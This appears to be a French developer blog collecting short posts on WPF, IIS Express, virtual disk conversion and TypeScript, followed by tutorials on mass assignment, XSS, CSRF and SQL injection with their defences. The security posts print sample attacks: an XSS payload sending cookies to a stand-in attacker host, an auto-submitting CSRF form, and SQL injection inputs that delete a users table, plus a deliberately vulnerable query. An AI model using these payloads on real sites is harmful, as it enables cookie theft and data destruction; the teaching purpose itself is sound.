Donner le focus à un ComboBox editable en WPF

Une bonne gestion du focus des contrôles permet d'améliorer l'expérience utilisateur. En effet, si à l'ouverture d'une fenêtre le premier TextBox est sélectionné, l'utilisateur peut directement saisir du texte sans avoir à cliquer dans le champ. Par exemple quand je clique sur le bouton login, je m'attends à directement saisir mon login.

Pour définir le focus à l'ouverture d'une fenêtre, on peut utiliser la propriété FocusManager.FocusedElement :

<Window x:Class="WpfApplication1.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        FocusManager.FocusedElement="{Binding ElementName=TextBoxUserName}">
    <Grid>
        <TextBox x:Name="TextBoxUserName" />
    </Grid>
</Window>

Dans le cas d'un ComboBox éditable (IsEditable="True"), cette technique ne fonctionne pas comme on le souhaite. Le ComboBox a bien le focus, mais c'est la partie dropdown qui a le focus et non le TextBox. Pour donner le focus au TextBox, il faut récupérer celui-ci dans le template du control et ensuite utiliser la méthode Focus :

var comboBox = MyComboBox;
var textBox = (TextBox) comboBox.Template.FindName("PART_EditableTextBox", comboBox);
if (textBox != null)
{
    textBox.Focus();
}

IIS Express & SSL

IIS Express est une version de IIS optimisée pour les développeurs. Cette version ne fournit pas toutes les fonctionnalités de IIS, mais elle est souvent suffisante pour développer une application web.

IIS Express est utilisé par défaut par Visual Studio pour héberger les sites lors du développement. Par défaut le site utilise le protocol HTTP. Pour certains site, il est nécessaire d'utiliser le protocole HTTPS (par exemple pour utiliser des resources tierces). Pour pouvoir utiliser ce protocole il faut l'activer explicitement.

Site ASP.NET

  1. Sélectionner le projet dans l'explorateur de solution
  2. Afficher la fenêtre Properties (F4)
  3. Changer la valeur de SSL Enabled à true
  4. Utiliser l'url SSL URL

Activer SSL pour un projet ASP.NET

Site ASP.NET Core

  1. Ouvrir les propriétés du projet
  2. Sélectionner l'onglet Debug
  3. Cocher la case Enable SSL
  4. Utiliser l'url affichée

Activer SSL pour un projet ASP.NET

Convertir un fichier VMDK (VMWare) vers VHDX (Hyper-V)

Microsoft fournit un outil gratuit permettant de convertir une machine virtuelle existante vers une machine virtuelle Hyper-V: Microsoft Virtual Machine Converter.

Cet outil dispose d'une interface graphique permettant de réaliser les opération les plus communes. Cependand dans certains cas (souvent non-entreprise) il faut utiliser les cmdlet PowerShell fournis.

Voici par exemple le script permettant de convertir un disque dur virtuel de type VMDK (VMWare) vers un disque virtuel au format VHDX (Hyper-V):

Import-Module 'C:\Program Files\Microsoft Virtual Machine Converter\MvmcCmdlet.psd1'

$vmdk="sample.vmdk"
$vhdx="sample.vhdx"

ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath $vmdk -DestinationLiteralPath $vhdx

Utiliser la version dev de TypeScript avec Visual Studio Code

Visual Studio Code, l'éditeur de code léger et multiplateforme de Microsoft, permet entre autres de créer des projets utilisant TypeScript. Par défault la dernière version stable de TypeScript est utilisée pour compiler les fichiers ts. Visual Studio Code étant très configurable, il est facile d'utiliser une autre version du compilateur TypeScript, notamment la version dev (nightly build). Voici la procédure :

  1. Installer TypeScript: npm install typescript@next
  2. Ouvrir le menu File / Preferences / User Settings (ou créer le fichier .vscode\settings.json)
  3. Modifier la variable typescript.tsdk
{
  "typescript.tsdk": "node_modules/typescript/lib/"
}
  1. Ajouter la tâche de compilation (CTRL+B)
{
    "version": "0.1.0",
    "command": "tsc",
    "isShellCommand": true,
    "args": ["-w", "-p", "."],
    "showOutput": "silent",
    "isWatching": true,
    "problemMatcher": "$tsc-watch"
}

Voilà

Activer le Framework .net 3.5 hors-ligne

Lorsqu'on active le Framework .net 3.5 sur Windows 8 ou Windows 2012, Windows télécharge les fichiers d'installation avant de lancer l'installation. Cependant lorsqu'on n'a pas de connexion à internet cette procédure ne fonctionne pas. Il faut indiquer l'emplacement des fichiers d'installation du Framework. Ces fichiers sont disponibles sur le DVD d'installation de Windows 8 et 2012. Il suffit donc de l'insérer et d'utiliser la commande suivante:

dism.exe /online /enable-feature /featurename:NetFX3 /Source:D:\sources\sxs /LimitAccess

Remplacer D: par la lettre du lecteur contenant le DVD d'installation de Windows

ASP MVC : l'affectation de masse (Mass Assignment)

Késako ?

Plutôt que de faire un gros pavé, je vais utiliser un exemple.

Voici le modèle utilisé

public class User
{
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public bool IsAdmin { get; set; }
}

La page permettant de modifier seulement le prénom et le nom de l'utilisateur :

@using(Html.BeginForm())
{
    @Html.EditorFor(model => model.FirstName)
    @Html.EditorFor(model => model.LastName)
    <input type="submit" value="Submit" />
}

Et le controller :

[HttpPost]
public ActionResult Index(User user)
{
    return View();
}

Que se passe-t-il lorsque l'utilisateur clique sur le bouton submit ?

Le framework va essayer de créer une instance de type User et ensuite il va renseigner les différentes propriétés de cette instance. Pour trouver les valeurs de ces propriétés, il va chercher dans les valeurs qui ont été postées mais aussi dans les paramètres de l'url (GET).

Dans notre cas le formulaire ne permet de définir que le nom et le prénom. Mais que ce passe-t-il si l'attaquant devine le nom de la propriété « IsAdmin » est qu'il décide de définir sa valeur à vrai par exemple dans l'url (http://monsite.com/mapage?IsAdmin=true). Le binder va utiliser cette valeur pour créer l'instance de type User et nous allons nous retrouver avec un utilisateur considérer comme administrateur.

Comment s'en prémunir ?

Il y a principalement 2 façons de faire.

La première consiste à utiliser l'attribut Bind. Celui-ci permet d'indiquer quelles propriétés doivent être inclues ou exclues lors du binding.

public ActionResult Index([Bind(Include = "FirstName, LastName")]User user)

ou

public ActionResult Index([Bind(Exclude = "IsAdmin")]User user)

La deuxième possibilité est de définir une nouvelle classe contenant uniquement les propriétés nécessaires pour cette vue et d'utiliser un outil pour faire le mapping entre les deux classes. Automapper (http://automapper.codeplex.com/) permet de faire cela.

public class UserModel
{
    public string FirstName { get; set; }
    public string LastName { get; set; }
}
 
[HttpPost]
public ActionResult Index(UserModel user)
{
    User u = Mapper.Map<UserModel, User>(user);
    return View();
}

Et voilà.

Cross-site scripting (XSS)

XSS Kesako ?

Une vulnérabilité de type Cross Site Scripting (XSS) permet d'injecter du code dans une page web. Cela peut se produire lorsque le site internet affiche du contenu saisi par l'utilisateur sans le filtrer. Le code injecté peut être du HTML, JavaScript, VBScript qui sera interprété par le navigateur de la victime.

Prenons un exemple. Sur un forum pour m'inscrire je dois saisir un pseudo. Ce pseudo sera ensuite affiché sur toutes les pages où je vais poster un message. Si mon pseudo est Meziantou, il n'y a pas de problème. Cependant si mon pseudo est <script>alert('toto')</script> il vaut mieux que le site internet filtre le contenu que j'ai saisi en replaçant les chevrons par &lt; et &gt;. S'il ne le fait pas à chaque fois que mon pseudo apparaitra, le script sera exécuté. Tous les visiteurs de ce forum sont donc potentiellement affectés par cette vulnérabilité.

Comme dit précédemment l'attaquant va pouvoir injecter le code qu'il souhaite. Voyons donc quelques exemples de ce qu'il est possible d'injecter.

  • Afficher une iframe (contenant potentiellement du code malveillant)
<iframe src="http://sitepirate.com" />
  • Afficher une popup pas méchante
<script>alert('Mon site est codé avec les pieds')</script>
  • Vol de cookies
<script>document.location='http://www.sitepirate.com/?'+document.cookie</script>

L'utilisateur sera redirigé vers la page http://www.sitepirate.com/?CurrentUICulture=fr-FR;%20testcookie=value en passant en paramètre tous les cookies du site sur lequel il était.

  • et bien d'autres choses pas cool…

Comment s'en prémunir ?

La solution consiste à encoder les caractères génant. Mais ce n'est pas simple du tout. En effet cela dépend de l'endroit où le texte doit être inséré.

<div>TEXTE</div>         Dans une balise HTML
<script>TEXTE</script>   Dans un script
<!--TEXTE-->             Dans un commentaire HTML
<div TEXTE=test />       Dans un nom d'attribut
<TEXTE href="/test" />   Dans le nom d'une balise
<style>TEXTE</style>     Dans un style CSS
<a href="TEXTE">clickme</a>                Dans une URL
<a href="/index?value=TEXTE">clickme</a>   Dans un paramètre GET d'une URL

Dans le premier cas il suffira d'encoder les entités HTML (remplacer & par &amp;, " par &quot;, etc.), alors que dans le dernier il faudra encoder l'URL (remplacer les caractères génant par la notation avec des % : http://www.w3schools.com/tags/ref_urlencode.asp).

L'OWASP fournit une bibliothèque permettant d'encoder les chaines de caractères pour de nombreux langages (ASP, PHP, Ruby, Python, Perl, JavaScript). A noter qu'il existe d'autres lib tout aussi puissante. En Dotnet il y a Anti-XSS Library par exemple.

Pour plus d'informations sur les traitements à faire pour éviter les attaques de type XSS je vous laisse lire les conseils de l'OWASP

ASP MVC et XSRF

ASP MVC fournit une méthode simple pour se protéger des attaques de type XSRF. En effet il suffit d'ajouter dans le formulaire la ligne

@Html.AntiForgeryToken()

et au niveau du controller

[ValidateAntiForgeryToken]
public ActionResult Create(Model model)

Cela permet au niveau de la page d'ajouter un champs caché et un cookie et de valider la valeur de ceux-ci au moment de la soumission du formulaire :

<input name="__RequestVerificationToken" type="hidden" value="geGaItAfh7cil98mAt38y3ymsCsINWs1lH9cZY52lSjZ_bCU3vTgmS8IqONXJo6rLqjAI3pnf9IyUu2O9XGS_NsiSCzhbYy3wI4IeEX6WiQ1"/>

__RequestVerificationToken : 5qqXHEEfzDa_Jn7glEmgtOP586KRLlXOSpyznXvkMooZvQjI9fmDtQ9MH07eIt2vQhBcD44lpRLmMbjTFkkh6H081thqTpdfJ6F3VFLJ0Kw1

Le problème est qu'il est facile d'oublier l'attribut. Je vous propose donc un test unitaire permettant de vérifier que chaque méthode utilisant la méthode Post est décorée avec l'attribut ValidateAntiForgeryToken

[TestMethod]
public void PostMethodShouldBeDecoratedWithValidateAntiForgeryAttribute()
{
    var controllers = typeof(MvcApplication /* N'importe quel type dans le projet web */).Assembly.DefinedTypes.Where(t => typeof(ControllerBase).IsAssignableFrom(t));
    foreach (var controller in controllers)
    {
        controller.Methods()
              .ThatReturn<ActionResult>()
              .ThatAreDecoratedWith<HttpPostAttribute>()
              .Should()
              .BeDecoratedWith<ValidateAntiForgeryTokenAttribute>("because all Actions with HttpPost require ValidateAntiForgeryToken");
    }
}

Ce test utilise la bibliothèque FluentAssertions.

Ou si vous ne souhaitez pas utiliser cette bibliothèque

[TestMethod]
public void PostMethodShouldBeDecoratedWithValidateAntiForgeryAttribute()
{
    var controllers = typeof(MvcApplication).Assembly.DefinedTypes.Where(t => typeof(ControllerBase).IsAssignableFrom(t));
    foreach (var controller in controllers)
    {
        foreach (MethodInfo method in controller.GetMethods())
        {
            if (method.GetCustomAttribute<HttpPostAttribute>() != null)
            {
                Assert.IsNotNull(method.GetCustomAttribute<ValidateAntiForgeryTokenAttribute>(), string.Format("Method {0}.{1} should be decorated with ValidateAntiForgeryTokenAttribute.", controller.Name, method.Name));
            }
        }
    }
}

Et voila, vous n'avez plus d'excuses.

Eviter les attaques CSRF

XSRF Kesako ?

Les vulnérabilités CSRF, Cross Site Request Forgery, permettent d'usurper l'identité d'un utilisateur pour effectuer une requête sur un site web. Cela se produit quand un site internet autorise un utilisateur authentifié à faire une action sensible mais que le site ne vérifie pas que l'utilisateur a réellement déclenché cette action. Au lieu de ça ils vérifient seulement que la requête vient du navigateur d'un utilisateur authorisé.

Les navigateurs exécutant du code envoyé par de multiples sites internets, il y a un danger que l'un d'entre eux puisse envoyer une requête vers un deuxième site (sans que l'utilisateur ne le sache), et celui-ci va penser à tord que l'utilisateur a authorisé la requête.

Le but de l'attaquant est d'utiliser notre cookie d'authentification déjà stocké par le navigateur pour le site internet visé. Pour cela il leur suffit de faire en sorte que le navigateur fasse une requête vers le site visé. Pour cela il y a plusieurs possibilités:

  • Convaincre l'utilisateur de cliquer sur un lien,
  • Insérer du code HTML dans un site internet que l'utilisateur visite. On peut par exemple trouver une image dont le lien est en fait un lien exécutant une action sur le site ciblé. Exemple <img src="http://foo.bar/delete/1">. Quand le navigateur reçoit une balise img, il récupère l'image spécifiée dans la source et effectue donc une requête vers le site souhaité.

On peut se dire que pour éviter ce genre d'attaques il suffit de remplacer toutes les actions réalisable par la méthode GET en POST. Et bien ça ne suffit pas. En effet l'attaquant peut utiliser un peu de javascript

<body onload="document.getElementById('form').submit()">
    <form id="form" action="http://foo.bar/delete/1" method="post">
        <input name="delete" value="Delete" />
    </form>
</body>

Le formulaire sera posté automatiquement en utilisant la méthode POST. C'est un petit peu mieux mais ça ne résoud pas le problème.

Comment s'en prémunir ?

  • Vérifier le HTTP referrer. En gros s'il ne s'agit pas de notre domaine il y a un problème. Cependant cette méthode peut être embêtante pour l'utilisateur. En effet certains proxy d'entreprise supprime le referrer de toutes les requêtes HTTP. On va donc se retrouver à bloquer des requêtes légitimes. De plus il est possible de forger sa requête et donc de définir le referrer. Cette méthode est donc foireuse.
  • Ajouter un champs invisible dans le formulaire. Le concept est de générer un chaine de caractères aléatoires et de l'ajouter au formulaire. Lorsque le client envoie le formulaire, le serveur vérifie que la valeur du champ caché est identique à ce qui a été généré. Exemple : <input id="a" name="a" type="hidden" value="hjkguyez721g45654gfd12cwx400huiyu" />, un peu comme les captcha
  • Ajouter un gâteau (cookie). Lors de la création de la page le serveur envoie un cookie. Lors du submit le client le renvoie et le serveur vérifie que le contenu du cookie est identique à ce qu'il a généré.

Voila, vous avez toutes les cartes en main pour protéger vos sites internet de ce type d'attaque.

Les Injections SQL

Les injections SQL kesako ?

Exemple typique d'une application mal codée :

public bool IsValidUser(string username, string password)
{
    string query = "SELECT * FROM [Users] WHERE username = '" + username + "' + " AND password = '" + password + "'";
    // Execution de la requête
}

Notez que la sécurité des mots de passe n'est pas abordé dans ce post.

  • Que se passe-t-il si le nom d'utilisateur contient une quote simple ?
  • Que se passe-t-il si l'utilisateur est plus méchant ?

Par exemple si l'utilisateur utilise comme nom d'utilisateur foo' -- et comme mot de passe ce que l'on veut. La commande SQL exécutée est :

SELECT * FROM [Users] WHERE username = 'foo' --' + " AND password = 'bar'

On voit que le mot de passe ne sert à rien. En fait nous avons injecté du SQL dans la commande (d'où le nom de l'attaque) pour modifier la requête exécutée. On voit donc qu'il est possible d'exécuter n'importe quelle requête. Par exemple si le nom d'utilisateur est foo'; DELETE FROM [Users] cela supprimera tous les utilisateurs de l'application. Je vous laisse imaginer tout ce qu'il est possible de faire avec ce genre d'attaque.

Mais comment s'en prémunir ?

C'est simple : il suffit d'échapper tous les caractères génants :) Mais comment faire cela quelque soit le SGBD utilisé ?

En dotnet pour exécuter une requête SQL sur votre SGBD (SQL Server, MySQL ou autre) on utilise ADO.NET. Cette couche d'accès est très bien faite et permet d'éviter les injections SQL en utilisant ce que l'on appelle les requêtes paramétrées. En fait le concept va être de remplacer les concaténations par des paramètres.

Voyons un exemple sans plus attendre.

using (IDbConnection connection = new SqlConnection(connectionString))
{
    // Ouverture de la connection
    connection.Open();
 
    // Création une commande
    IDbCommand command = connection.CreateCommand();
 
    command.CommandText = "SELECT * FROM [Users] WHERE username = @username AND password = @password"; // Il n'y a plus de concaténation
 
    // Premier paramètre : @username
    IDbDataParameter nameParameter = command.CreateParameter();
    nameParameter.ParameterName = "@username";
    nameParameter.Value = "foo ' --";
    command.Parameters.Add(nameParameter);
 
    // deuxième paramètre : @password
    IDbDataParameter passwordParameter = command.CreateParameter();
    passwordParameter.ParameterName = "@password";
    passwordParameter.Value = "bar";
    command.Parameters.Add(passwordParameter);
 
    // Exécute la commande sur le serveur
    // command.ExecuteReader();
}

Comme on peut le voir il n'y a plus de concaténation de chaine de caractères. A la place on remplace les valeurs à insérer (username et password) par des paramètres (@username et @password). On indique ensuite la valeur de ces paramètres en leur spécifiant un nom et une valeur. En utilisant ce principe ADO.NET échappe la valeur des paramètres pour nous et ce quel que soit le SGBD utilisé.

En conclusion, pour éviter les injections SQL il faut utiliser les requêtes paramétrées.